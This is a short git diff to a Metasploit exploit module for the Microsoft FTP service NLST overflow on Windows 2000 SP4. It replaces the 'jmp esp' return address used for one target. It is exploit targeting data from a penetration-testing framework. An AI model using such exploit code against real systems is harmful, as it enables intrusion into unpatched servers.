diff --git a/modules/exploits/windows/ftp/microsoft_ftpd_nlst.rb b/modules/exploits/windows/ftp/microsoft_ftpd_nlst.rb
index f1c0cfcd7e..a4b45cb001 100644
--- a/modules/exploits/windows/ftp/microsoft_ftpd_nlst.rb
+++ b/modules/exploits/windows/ftp/microsoft_ftpd_nlst.rb
@@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote
 						'Windows 2000 SP4 English/Italian (IIS 5.0)',
 						{
 							'Platform' => 'win',
-							'Ret'      => 0x77e3c256,  # jmp esp in user32 SP4 EN/IT
+							'Ret'      => 0x773d24eb,  # jmp esp in activeds.dll (English / 5.0.2195.6601)
 							'Patch'    => 0x7ffd7ffd   # works for off-by-two alignment
 						},
 					],